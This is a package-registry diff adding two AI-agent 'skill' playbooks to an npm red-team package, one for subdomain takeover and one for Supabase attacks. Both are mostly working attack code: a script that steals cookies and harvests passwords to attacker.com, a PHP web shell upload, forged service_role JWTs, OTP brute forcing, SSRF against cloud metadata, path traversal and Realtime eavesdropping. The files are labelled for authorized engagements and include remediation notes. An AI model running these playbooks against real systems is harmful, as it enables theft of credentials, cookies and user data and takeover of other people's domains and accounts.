rtexit-method 0.1.9 → 0.1.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rtexit-method",
3
- "version": "0.1.9",
3
+ "version": "0.1.11",
4
4
  "description": "RTExit - AI-assisted Red Team methodology installer",
5
5
  "license": "MIT",
6
6
  "author": "Exit Code",
@@ -0,0 +1,307 @@
1
+ ---
2
+ name: rt-subdomain-takeover
3
+ description: "Subdomain takeover skill for authorized engagements. Identifying dangling CNAME records pointing to unclaimed services, takeover on GitHub Pages, Heroku, AWS S3, Azure, Netlify, Fastly, Shopify, and 50+ other platforms, DNS hijacking via expired domains, NS takeover for full zone control, automated scanning with Subzy and Nuclei, and impact demonstration via cookie theft and phishing. Use after subdomain enumeration to identify high-impact unclaimed subdomains."
4
+ ---
5
+
6
+ # rt-subdomain-takeover — Subdomain Takeover
7
+
8
+ ## Overview
9
+
10
+ Subdomain takeover occurs when a subdomain has a CNAME record pointing to an external service that no longer exists or is unclaimed. An attacker claims that service, hosts malicious content under the company's subdomain, and can steal cookies, run phishing, bypass CSP, or conduct further attacks under a trusted domain.
11
+
12
+ **Impact:**
13
+ - Serve malicious content under `trusted-corp.com` subdomain
14
+ - Steal cookies scoped to `.corp.com` (if HttpOnly not set)
15
+ - Bypass CSP (content served from trusted origin)
16
+ - Send phishing emails from `mail.corp.com`
17
+ - Full zone control if NS record is dangling
18
+
19
+ ---
20
+
21
+ ## Phase 1 — Discovery
22
+
23
+ ```bash
24
+ # Step 1: Enumerate all subdomains (feed from rt-subdomain-enum output)
25
+ subfinder -d corp.com -all -silent | tee subs.txt
26
+ amass enum -passive -d corp.com -o subs-amass.txt
27
+ cat subs*.txt | sort -u > all-subs.txt
28
+
29
+ # Step 2: Check CNAME records for each subdomain
30
+ while read sub; do
31
+ cname=$(dig CNAME +short $sub)
32
+ if [ -n "$cname" ]; then
33
+ echo "$sub → $cname"
34
+ fi
35
+ done < all-subs.txt | tee cname-map.txt
36
+
37
+ # Step 3: Check if CNAME target exists / is claimed
38
+ while IFS=' → ' read sub cname; do
39
+ # Check if CNAME target resolves
40
+ if ! dig +short $cname | grep -q '[0-9]'; then
41
+ echo "[DANGLING] $sub → $cname"
42
+ fi
43
+ done < cname-map.txt
44
+
45
+ # Step 4: Check for NXDOMAIN (subdomain exists in DNS but CNAME target gone)
46
+ while read sub; do
47
+ result=$(dig +short $sub)
48
+ if [ -z "$result" ]; then
49
+ # Check if there's a CNAME that leads nowhere
50
+ cname=$(dig CNAME +short $sub 2>/dev/null)
51
+ [ -n "$cname" ] && echo "[CANDIDATE] $sub → $cname"
52
+ fi
53
+ done < all-subs.txt
54
+ ```
55
+
56
+ ---
57
+
58
+ ## Phase 2 — Automated Scanning
59
+
60
+ ```bash
61
+ # Subzy — dedicated subdomain takeover scanner
62
+ go install github.com/LukaSikic/subzy@latest
63
+ subzy run --targets all-subs.txt
64
+ # Checks against 50+ fingerprints for vulnerable services
65
+
66
+ # Nuclei — subdomain takeover templates
67
+ nuclei -l all-subs.txt -t ~/nuclei-templates/http/takeovers/
68
+ # Covers: GitHub Pages, Heroku, AWS S3, Azure, Netlify, Fastly, etc.
69
+
70
+ # subjack
71
+ go install github.com/haccer/subjack@latest
72
+ subjack -w all-subs.txt -t 100 -timeout 30 -o results.txt -ssl
73
+
74
+ # Can-I-Take-Over-XYZ (reference list)
75
+ # https://github.com/EdOverflow/can-i-take-over-xyz
76
+ # Lists fingerprints and claimable status per service
77
+
78
+ # Manual check: visit subdomains with Burp + look for:
79
+ # "NoSuchBucket" = S3 takeover
80
+ # "There is no app here" = Heroku takeover
81
+ # "404 Not Found" on GitHub Pages
82
+ # "Fastly error: 404 Unknown" = Fastly takeover
83
+ # "azure websites" errors = Azure App Service
84
+ ```
85
+
86
+ ---
87
+
88
+ ## Phase 3 — Service-Specific Takeovers
89
+
90
+ ### GitHub Pages
91
+
92
+ ```bash
93
+ # Fingerprint: "There isn't a GitHub Pages site here"
94
+ # Check: dig CNAME sub.corp.com → corp-org.github.io
95
+
96
+ # Takeover:
97
+ # 1. Create GitHub account / org matching the CNAME
98
+ # 2. Create repo: corp-org/corp-org.github.io
99
+ # 3. Enable GitHub Pages
100
+ # 4. Add CNAME file: echo "sub.corp.com" > CNAME
101
+ # 5. sub.corp.com now serves your content
102
+
103
+ # Or if CNAME points to username.github.io:
104
+ # 1. Register GitHub username: corp-username
105
+ # 2. Create repo: corp-username.github.io
106
+ # 3. sub.corp.com → your repo
107
+ ```
108
+
109
+ ### AWS S3
110
+
111
+ ```bash
112
+ # Fingerprint: "NoSuchBucket" or "The specified bucket does not exist"
113
+ # Check: dig CNAME sub.corp.com → sub.corp.com.s3.amazonaws.com
114
+ # or: sub.corp.com.s3-website-us-east-1.amazonaws.com
115
+
116
+ # Takeover:
117
+ aws s3 mb s3://sub.corp.com --region us-east-1
118
+ # Bucket name must EXACTLY match the subdomain
119
+ aws s3 website s3://sub.corp.com/ \
120
+ --index-document index.html \
121
+ --error-document error.html
122
+
123
+ # Upload malicious content
124
+ echo '<script>document.location="https://attacker.com?c="+document.cookie</script>' \
125
+ > index.html
126
+ aws s3 cp index.html s3://sub.corp.com/
127
+
128
+ # sub.corp.com now serves your page under corp.com's domain
129
+ ```
130
+
131
+ ### Heroku
132
+
133
+ ```bash
134
+ # Fingerprint: "No such app" or "herokuapps.com" CNAME
135
+ # CNAME: sub.corp.com → random-name-12345.herokudns.com
136
+
137
+ # Takeover:
138
+ heroku create random-name-12345
139
+ heroku domains:add sub.corp.com --app random-name-12345
140
+ # Deploy app to random-name-12345
141
+ # sub.corp.com → your Heroku app
142
+ ```
143
+
144
+ ### Azure App Service
145
+
146
+ ```bash
147
+ # Fingerprint: "Microsoft Azure App Service" 404
148
+ # CNAME: sub.corp.com → corp-app.azurewebsites.net
149
+
150
+ # Takeover:
151
+ az webapp create --name corp-app \
152
+ --resource-group myRG \
153
+ --plan myPlan
154
+ az webapp config hostname add \
155
+ --webapp-name corp-app \
156
+ --resource-group myRG \
157
+ --hostname sub.corp.com
158
+ ```
159
+
160
+ ### Netlify
161
+
162
+ ```bash
163
+ # Fingerprint: "Not found - Request ID"
164
+ # CNAME: sub.corp.com → corp.netlify.app
165
+
166
+ # Takeover:
167
+ # 1. Create Netlify site → site settings → domain management
168
+ # 2. Add custom domain: sub.corp.com
169
+ # 3. Deploy malicious site
170
+ netlify deploy --prod
171
+ ```
172
+
173
+ ### Fastly
174
+
175
+ ```bash
176
+ # Fingerprint: "Fastly error: 404 Unfound" or "Unknown domain"
177
+ # CNAME: sub.corp.com → something.fastly.net
178
+
179
+ # Takeover:
180
+ # Create Fastly service → add domain: sub.corp.com
181
+ # sub.corp.com now served by your Fastly service
182
+ ```
183
+
184
+ ---
185
+
186
+ ## Phase 4 — NS Record Takeover (Critical)
187
+
188
+ ```bash
189
+ # If subdomain.corp.com has NS records pointing to expired/unclaimed nameservers
190
+ # → attacker claims the nameservers → full DNS control for that subdomain
191
+
192
+ # Check NS records
193
+ dig NS sub.corp.com
194
+ # ns1.expired-dns-provider.com
195
+ # ns2.expired-dns-provider.com
196
+
197
+ # Check if provider is still active
198
+ whois expired-dns-provider.com | grep -i "expir"
199
+ # If expired/available → register it → control all DNS for sub.corp.com
200
+
201
+ # Once you control NS:
202
+ # → Create A records → point to attacker server
203
+ # → Create MX records → intercept email to @sub.corp.com
204
+ # → Create any record → full subdomain zone control
205
+ ```
206
+
207
+ ---
208
+
209
+ ## Phase 5 — Impact Demonstration
210
+
211
+ ```bash
212
+ # Cookie theft (demonstrate scope)
213
+ # If corp.com sets cookies with Domain=.corp.com:
214
+ # sub.corp.com can read those cookies!
215
+
216
+ # Host on claimed subdomain:
217
+ cat > index.html << 'EOF'
218
+ <html>
219
+ <script>
220
+ // Steal .corp.com scoped cookies
221
+ var stolen = document.cookie;
222
+ fetch('https://attacker.com/log?cookies=' + encodeURIComponent(stolen));
223
+
224
+ // Demonstrate phishing capability
225
+ document.write('<h1>Corp.com Login Portal</h1>');
226
+ document.write('<form action="https://attacker.com/collect" method="POST">');
227
+ document.write('<input name="user" placeholder="Username"><br>');
228
+ document.write('<input name="pass" type="password" placeholder="Password"><br>');
229
+ document.write('<button>Login</button></form>');
230
+ </script>
231
+ </html>
232
+ EOF
233
+
234
+ # CSP bypass: if corp.com has CSP: script-src *.corp.com
235
+ # Loading scripts from sub.corp.com bypasses CSP completely
236
+ # <script src="https://sub.corp.com/evil.js"></script> ← allowed by CSP!
237
+ ```
238
+
239
+ ---
240
+
241
+ ## Phase 6 — Evidence Documentation
242
+
243
+ ```bash
244
+ # Screenshot the takeover proof
245
+ # Show: sub.corp.com serving your content
246
+
247
+ # curl to confirm
248
+ curl -I https://sub.corp.com
249
+ # Server: your-server
250
+ # Content shows attacker-controlled content
251
+
252
+ # Document CNAME chain
253
+ dig CNAME +trace sub.corp.com
254
+
255
+ # Finding template:
256
+ # Title: Subdomain Takeover — sub.corp.com
257
+ # Severity: HIGH (cookie theft possible) / MEDIUM (content injection)
258
+ # CVSS: 8.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) if cookie theft
259
+ # Evidence: screenshot + curl output + CNAME chain
260
+ # Impact: phishing under trusted domain, cookie theft, CSP bypass
261
+ # Remediation: remove dangling DNS record OR re-claim the service
262
+ ```
263
+
264
+ ---
265
+
266
+ ## Most Vulnerable Services (Quick Reference)
267
+
268
+ ```
269
+ Service Fingerprint Claimable
270
+ ─────────────────────────────────────────────────────────────────────────
271
+ GitHub Pages "There isn't a GitHub Pages site here" ✅ Yes
272
+ AWS S3 "NoSuchBucket" ✅ Yes
273
+ Heroku "No such app" ✅ Yes
274
+ Azure App Service Azure 404 page ✅ Yes
275
+ Netlify "Not found - Request ID" ✅ Yes
276
+ Fastly "Fastly error: 404 Unfound" ✅ Yes
277
+ Shopify "Sorry, this shop is currently..." ✅ Yes
278
+ Tumblr "There's nothing here" ✅ Yes
279
+ WordPress.com "Do you want to register..." ✅ Yes
280
+ Ghost "The thing you were looking for..." ✅ Yes
281
+ Surge.sh "project not found" ✅ Yes
282
+ Bitbucket "Repository not found" ✅ Yes
283
+ Zendesk "Help Center Closed" ✅ Yes
284
+ Freshdesk "We could not find what..." ⚠️ Limited
285
+ Desk.com (Salesforce) "Please try again" ✅ Yes
286
+ ```
287
+
288
+ ---
289
+
290
+ ## Skill Levels
291
+
292
+ **BEGINNER:** subfinder + subzy automated scan → identify candidates → manual verification
293
+
294
+ **INTERMEDIATE:** GitHub Pages / S3 takeover PoC → cookie theft demonstration
295
+
296
+ **ADVANCED:** NS takeover → full zone control → MX takeover for email interception
297
+
298
+ **EXPERT:** Chained attack: takeover → CSP bypass → XSS on main domain → account takeover
299
+
300
+ ---
301
+
302
+ ## References
303
+
304
+ - Can-I-Take-Over-XYZ: https://github.com/EdOverflow/can-i-take-over-xyz
305
+ - Subzy: https://github.com/LukaSikic/subzy
306
+ - Nuclei takeover templates: https://github.com/projectdiscovery/nuclei-templates
307
+ - MITRE T1584.001: https://attack.mitre.org/techniques/T1584/001/
@@ -0,0 +1,402 @@
1
+ ---
2
+ name: rt-supabase
3
+ description: "Supabase security testing skill for authorized engagements. Row-Level Security (RLS) policy bypass, anon key abuse for unauthorized data access, service role key exposure, PostgREST API horizontal privilege escalation, JWT manipulation for role escalation, schema disclosure via introspection, Supabase Storage bucket misconfiguration, Realtime channel eavesdropping, Edge Function exploitation, and auth bypass techniques. Use when engagement scope includes Supabase-backed applications."
4
+ ---
5
+
6
+ # rt-supabase — Supabase Security Testing
7
+
8
+ ## Overview
9
+
10
+ Supabase is an open-source Firebase alternative built on PostgreSQL, PostgREST, GoTrue auth, and Realtime. Its architecture creates unique attack surfaces: the `anon` key is intentionally public but often misconfigured, RLS policies have logical gaps, and the PostgREST API exposes the entire database schema by default. A single misconfiguration can expose all user data.
11
+
12
+ **Attack surfaces:**
13
+ - PostgREST REST API (direct DB access)
14
+ - Row-Level Security (RLS) policy bypass
15
+ - JWT role escalation (anon → authenticated → service_role)
16
+ - Supabase Storage (public/private buckets)
17
+ - Realtime subscriptions (unauthorized channel access)
18
+ - Edge Functions (serverless function exploitation)
19
+ - Auth endpoints (GoTrue authentication bypass)
20
+
21
+ ---
22
+
23
+ ## Phase 1 — Discovery & Enumeration
24
+
25
+ ```bash
26
+ # Supabase URL pattern: https://PROJECT_ID.supabase.co
27
+ # Find project ID from source code, network requests, JS bundles
28
+
29
+ # Fingerprint Supabase
30
+ curl -I https://PROJECT_ID.supabase.co/rest/v1/
31
+ # Returns: X-Powered-By: PostgREST
32
+
33
+ # Extract anon key from JS bundle (it's meant to be public but often over-privileged)
34
+ grep -r "supabaseKey\|SUPABASE_ANON_KEY\|supabase_anon_key\|eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" \
35
+ ./js_files/
36
+
37
+ # Anon key is a JWT — decode to understand permissions
38
+ echo "ANON_KEY" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
39
+ # Payload: {"role": "anon", "iss": "supabase", ...}
40
+
41
+ # Discover all exposed tables via PostgREST introspection
42
+ curl "https://PROJECT_ID.supabase.co/rest/v1/" \
43
+ -H "apikey: ANON_KEY" \
44
+ -H "Authorization: Bearer ANON_KEY"
45
+ # Returns: OpenAPI spec listing ALL tables and their columns
46
+
47
+ # Or via OPTIONS request
48
+ curl -X OPTIONS "https://PROJECT_ID.supabase.co/rest/v1/" \
49
+ -H "apikey: ANON_KEY" | python3 -m json.tool
50
+ ```
51
+
52
+ ---
53
+
54
+ ## Phase 2 — RLS Bypass Techniques
55
+
56
+ ```bash
57
+ # RLS (Row-Level Security) controls which rows each user can access
58
+ # Misconfigured RLS = read/write other users' data
59
+
60
+ # Test 1: Table with no RLS at all
61
+ curl "https://PROJECT_ID.supabase.co/rest/v1/users" \
62
+ -H "apikey: ANON_KEY" \
63
+ -H "Authorization: Bearer ANON_KEY"
64
+ # If returns all users → RLS not enabled on this table
65
+
66
+ # Test 2: RLS enabled but policy is too permissive
67
+ # Common bad policy: "FOR SELECT USING (true)" = everyone can read everything
68
+ curl "https://PROJECT_ID.supabase.co/rest/v1/profiles?select=*" \
69
+ -H "apikey: ANON_KEY" \
70
+ -H "Authorization: Bearer ANON_KEY"
71
+
72
+ # Test 3: RLS policy checks auth.uid() but not properly
73
+ # Log in as User A → try to access User B's data by manipulating filters
74
+ TOKEN_A="JWT_OF_USER_A"
75
+ # Normal: /rest/v1/orders?user_id=eq.USER_A_ID → returns A's orders
76
+ # Attack: /rest/v1/orders?user_id=eq.USER_B_ID → should be blocked by RLS
77
+ curl "https://PROJECT_ID.supabase.co/rest/v1/orders?user_id=eq.USER_B_ID" \
78
+ -H "apikey: ANON_KEY" \
79
+ -H "Authorization: Bearer $TOKEN_A"
80
+ # If returns B's orders → IDOR via RLS bypass
81
+
82
+ # Test 4: RLS on main table but not on joined/related tables
83
+ curl "https://PROJECT_ID.supabase.co/rest/v1/orders?select=*,user_profiles(*)" \
84
+ -H "apikey: ANON_KEY" \
85
+ -H "Authorization: Bearer $TOKEN_A"
86
+ # user_profiles may not have RLS → exposed via JOIN
87
+
88
+ # Test 5: RLS bypass via Postgres functions (SECURITY DEFINER)
89
+ # Functions marked SECURITY DEFINER run as function owner, bypass RLS
90
+ # Find exposed RPC endpoints:
91
+ curl "https://PROJECT_ID.supabase.co/rest/v1/rpc/" \
92
+ -H "apikey: ANON_KEY"
93
+ # Call functions that might bypass RLS
94
+ curl -X POST "https://PROJECT_ID.supabase.co/rest/v1/rpc/get_all_users" \
95
+ -H "apikey: ANON_KEY" \
96
+ -H "Authorization: Bearer ANON_KEY" \
97
+ -H "Content-Type: application/json" \
98
+ -d '{}'
99
+ ```
100
+
101
+ ---
102
+
103
+ ## Phase 3 — JWT Role Escalation
104
+
105
+ ```bash
106
+ # Supabase JWT roles: anon < authenticated < service_role
107
+ # service_role bypasses ALL RLS — full database access
108
+
109
+ # Step 1: Find the JWT secret
110
+ # Secret is used to sign tokens — if weak or leaked → forge tokens
111
+ # Check: source code, .env files, GitHub repos
112
+ grep -r "SUPABASE_JWT_SECRET\|jwt_secret\|JWT_SECRET" . --include="*.env*"
113
+ trufflehog github --org=TARGET_ORG | grep -i "supabase\|jwt"
114
+
115
+ # Step 2: Forge service_role JWT (if secret known)
116
+ python3 << 'EOF'
117
+ import jwt, time
118
+
119
+ # If you found the JWT secret
120
+ secret = "FOUND_JWT_SECRET"
121
+
122
+ # Forge service_role token
123
+ payload = {
124
+ "iss": "supabase",
125
+ "ref": "PROJECT_ID",
126
+ "role": "service_role",
127
+ "iat": int(time.time()),
128
+ "exp": int(time.time()) + 86400
129
+ }
130
+ token = jwt.encode(payload, secret, algorithm="HS256")
131
+ print(f"service_role token: {token}")
132
+ EOF
133
+
134
+ # Step 3: Use service_role token → bypasses all RLS
135
+ curl "https://PROJECT_ID.supabase.co/rest/v1/users?select=*" \
136
+ -H "apikey: FORGED_SERVICE_ROLE_TOKEN" \
137
+ -H "Authorization: Bearer FORGED_SERVICE_ROLE_TOKEN"
138
+ # Returns ALL users with no RLS filtering
139
+
140
+ # Step 4: Role claim manipulation in user JWT
141
+ # If app doesn't validate role claim server-side:
142
+ python3 << 'EOF'
143
+ import jwt, time
144
+
145
+ # Take existing anon token and modify role
146
+ # (Only works if secret is known or JWT not properly verified)
147
+ secret = "FOUND_SECRET"
148
+ payload = {
149
+ "iss": "supabase",
150
+ "ref": "PROJECT_ID",
151
+ "role": "authenticated", # Upgrade from anon
152
+ "sub": "00000000-0000-0000-0000-000000000001", # admin user UUID
153
+ "email": "admin@corp.com",
154
+ "iat": int(time.time()),
155
+ "exp": int(time.time()) + 86400
156
+ }
157
+ token = jwt.encode(payload, secret, algorithm="HS256")
158
+ print(token)
159
+ EOF
160
+ ```
161
+
162
+ ---
163
+
164
+ ## Phase 4 — PostgREST API Exploitation
165
+
166
+ ```bash
167
+ # PostgREST exposes full CRUD on all tables (subject to RLS)
168
+ # Test all HTTP methods
169
+
170
+ # Read all data
171
+ curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE_NAME?select=*" \
172
+ -H "apikey: ANON_KEY" \
173
+ -H "Authorization: Bearer USER_TOKEN"
174
+
175
+ # Write / create records (if INSERT policy misconfigured)
176
+ curl -X POST "https://PROJECT_ID.supabase.co/rest/v1/TABLE_NAME" \
177
+ -H "apikey: ANON_KEY" \
178
+ -H "Authorization: Bearer USER_TOKEN" \
179
+ -H "Content-Type: application/json" \
180
+ -d '{"user_id": "OTHER_USER_UUID", "data": "injected"}'
181
+
182
+ # Update other users' records (if UPDATE policy misconfigured)
183
+ curl -X PATCH "https://PROJECT_ID.supabase.co/rest/v1/profiles?id=eq.OTHER_USER_ID" \
184
+ -H "apikey: ANON_KEY" \
185
+ -H "Authorization: Bearer MY_TOKEN" \
186
+ -H "Content-Type: application/json" \
187
+ -d '{"role": "admin"}'
188
+
189
+ # Delete records
190
+ curl -X DELETE "https://PROJECT_ID.supabase.co/rest/v1/TABLE?id=eq.VICTIM_ID" \
191
+ -H "apikey: ANON_KEY" \
192
+ -H "Authorization: Bearer MY_TOKEN"
193
+
194
+ # PostgREST column selection — try to access hidden columns
195
+ curl "https://PROJECT_ID.supabase.co/rest/v1/users?select=id,email,password,raw_user_meta_data" \
196
+ -H "apikey: ANON_KEY"
197
+
198
+ # Filter bypass — access all rows
199
+ curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE?select=*&limit=1000" \
200
+ -H "apikey: ANON_KEY"
201
+
202
+ # Full-text search for sensitive data
203
+ curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE?content=fts.password" \
204
+ -H "apikey: ANON_KEY"
205
+ ```
206
+
207
+ ---
208
+
209
+ ## Phase 5 — Storage Bucket Attacks
210
+
211
+ ```bash
212
+ # Supabase Storage: S3-compatible object storage
213
+ # Buckets can be public or private (private requires RLS)
214
+
215
+ # List all buckets
216
+ curl "https://PROJECT_ID.supabase.co/storage/v1/bucket" \
217
+ -H "apikey: ANON_KEY" \
218
+ -H "Authorization: Bearer ANON_KEY"
219
+
220
+ # List files in a bucket
221
+ curl "https://PROJECT_ID.supabase.co/storage/v1/object/list/BUCKET_NAME" \
222
+ -H "apikey: ANON_KEY" \
223
+ -H "Authorization: Bearer ANON_KEY" \
224
+ -H "Content-Type: application/json" \
225
+ -d '{"prefix": "", "limit": 100}'
226
+
227
+ # Download files from public bucket (no auth needed)
228
+ curl "https://PROJECT_ID.supabase.co/storage/v1/object/public/BUCKET/file.pdf"
229
+
230
+ # Download from private bucket (if RLS misconfigured)
231
+ curl "https://PROJECT_ID.supabase.co/storage/v1/object/authenticated/BUCKET/private.pdf" \
232
+ -H "apikey: ANON_KEY" \
233
+ -H "Authorization: Bearer ANON_KEY"
234
+
235
+ # Path traversal in storage
236
+ curl "https://PROJECT_ID.supabase.co/storage/v1/object/public/BUCKET/../../../etc/passwd"
237
+
238
+ # Upload to bucket (if insert policy open)
239
+ curl -X POST "https://PROJECT_ID.supabase.co/storage/v1/object/BUCKET/shell.php" \
240
+ -H "apikey: ANON_KEY" \
241
+ -H "Authorization: Bearer USER_TOKEN" \
242
+ -H "Content-Type: application/octet-stream" \
243
+ --data-binary "<?php system(\$_GET['c']); ?>"
244
+ ```
245
+
246
+ ---
247
+
248
+ ## Phase 6 — Auth Bypass (GoTrue)
249
+
250
+ ```bash
251
+ # GoTrue handles Supabase authentication
252
+ # Test for auth vulnerabilities
253
+
254
+ # User enumeration via password reset
255
+ curl -X POST "https://PROJECT_ID.supabase.co/auth/v1/recover" \
256
+ -H "apikey: ANON_KEY" \
257
+ -H "Content-Type: application/json" \
258
+ -d '{"email": "victim@corp.com"}'
259
+ # Different response for existing vs non-existing email = enumeration
260
+
261
+ # Sign up with existing email (check error message)
262
+ curl -X POST "https://PROJECT_ID.supabase.co/auth/v1/signup" \
263
+ -H "apikey: ANON_KEY" \
264
+ -H "Content-Type: application/json" \
265
+ -d '{"email": "admin@corp.com", "password": "test123"}'
266
+
267
+ # OTP brute force (if rate limiting weak)
268
+ for code in $(seq -w 000000 999999); do
269
+ r=$(curl -s -X POST "https://PROJECT_ID.supabase.co/auth/v1/verify" \
270
+ -H "apikey: ANON_KEY" \
271
+ -H "Content-Type: application/json" \
272
+ -d "{\"type\":\"recovery\",\"token\":\"$code\",\"email\":\"victim@corp.com\"}")
273
+ echo "$code: $r" | grep -v "Token has expired"
274
+ done
275
+
276
+ # OAuth provider misconfiguration
277
+ # Check which providers are enabled
278
+ curl "https://PROJECT_ID.supabase.co/auth/v1/settings" \
279
+ -H "apikey: ANON_KEY"
280
+
281
+ # Admin API (requires service_role)
282
+ curl "https://PROJECT_ID.supabase.co/auth/v1/admin/users" \
283
+ -H "apikey: SERVICE_ROLE_KEY" # If service_role key found → dump all users
284
+ ```
285
+
286
+ ---
287
+
288
+ ## Phase 7 — Realtime Channel Eavesdropping
289
+
290
+ ```javascript
291
+ // Supabase Realtime: WebSocket-based live data
292
+ // If channel doesn't check auth → any user can subscribe to any table changes
293
+
294
+ const { createClient } = require('@supabase/supabase-js')
295
+
296
+ const supabase = createClient(
297
+ 'https://PROJECT_ID.supabase.co',
298
+ 'ANON_KEY' // Use anon key (unauthenticated)
299
+ )
300
+
301
+ // Subscribe to ALL changes on sensitive tables
302
+ const channel = supabase
303
+ .channel('all-changes')
304
+ .on('postgres_changes',
305
+ { event: '*', schema: 'public', table: 'orders' },
306
+ (payload) => {
307
+ console.log('Intercepted:', payload)
308
+ // Receives: INSERT/UPDATE/DELETE events with full row data
309
+ }
310
+ )
311
+ .subscribe()
312
+
313
+ // Try different tables
314
+ const tables = ['users', 'profiles', 'messages', 'payments', 'orders']
315
+ tables.forEach(table => {
316
+ supabase.channel(`spy-${table}`)
317
+ .on('postgres_changes', { event: '*', schema: 'public', table },
318
+ payload => console.log(`${table}:`, payload))
319
+ .subscribe()
320
+ })
321
+ ```
322
+
323
+ ---
324
+
325
+ ## Phase 8 — Edge Function Exploitation
326
+
327
+ ```bash
328
+ # Supabase Edge Functions = Deno-based serverless functions
329
+ # Endpoint: https://PROJECT_ID.supabase.co/functions/v1/FUNCTION_NAME
330
+
331
+ # Enumerate functions (often discoverable from source code)
332
+ curl "https://PROJECT_ID.supabase.co/functions/v1/" \
333
+ -H "Authorization: Bearer ANON_KEY"
334
+
335
+ # Test without auth
336
+ curl "https://PROJECT_ID.supabase.co/functions/v1/admin-action"
337
+
338
+ # Test with anon key only
339
+ curl "https://PROJECT_ID.supabase.co/functions/v1/process-payment" \
340
+ -H "Authorization: Bearer ANON_KEY" \
341
+ -H "Content-Type: application/json" \
342
+ -d '{"amount": -100}' # Negative amount
343
+
344
+ # SSRF via Edge Function
345
+ curl -X POST "https://PROJECT_ID.supabase.co/functions/v1/fetch-url" \
346
+ -H "Authorization: Bearer ANON_KEY" \
347
+ -d '{"url": "http://169.254.169.254/latest/meta-data/"}'
348
+
349
+ # Inject env variables via function input (if poorly sandboxed)
350
+ curl -X POST "https://PROJECT_ID.supabase.co/functions/v1/send-email" \
351
+ -d '{"to": "attacker@evil.com", "template": "../../service_role_key"}'
352
+ ```
353
+
354
+ ---
355
+
356
+ ## Finding Documentation
357
+
358
+ ```
359
+ Finding: Supabase RLS Bypass — Unauthorized Data Access
360
+ Severity: CRITICAL
361
+ CVSS: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
362
+ CWE: CWE-284 (Improper Access Control)
363
+
364
+ Evidence:
365
+ - curl command showing access to other users' records
366
+ - Number of records accessible (e.g., "returned 15,234 user records")
367
+ - Screenshot of sensitive data returned
368
+
369
+ Impact:
370
+ - Full read/write access to all user data
371
+ - PII exposure (emails, addresses, payment info)
372
+ - Account takeover via profile modification
373
+
374
+ Remediation:
375
+ 1. Enable RLS on ALL tables: ALTER TABLE name ENABLE ROW LEVEL SECURITY
376
+ 2. Create proper policies: CREATE POLICY "users_own_data" ON table
377
+ FOR ALL USING (auth.uid() = user_id)
378
+ 3. Never expose service_role key client-side
379
+ 4. Audit all SECURITY DEFINER functions
380
+ 5. Enable storage bucket RLS policies
381
+ ```
382
+
383
+ ---
384
+
385
+ ## Skill Levels
386
+
387
+ **BEGINNER:** anon key extraction → table enumeration via OpenAPI → test for missing RLS
388
+
389
+ **INTERMEDIATE:** RLS bypass via IDOR filters · Storage bucket misconfiguration · Auth user enumeration
390
+
391
+ **ADVANCED:** JWT secret extraction → service_role token forgery → full RLS bypass · Realtime eavesdropping
392
+
393
+ **EXPERT:** SECURITY DEFINER function abuse · Edge Function SSRF · Realtime + RLS chain for persistent access
394
+
395
+ ---
396
+
397
+ ## References
398
+
399
+ - Supabase Security Guide: https://supabase.com/docs/guides/auth/row-level-security
400
+ - PostgREST docs: https://postgrest.org/en/stable/
401
+ - HackerOne Supabase reports: https://hackerone.com/supabase
402
+ - MITRE T1213: https://attack.mitre.org/techniques/T1213/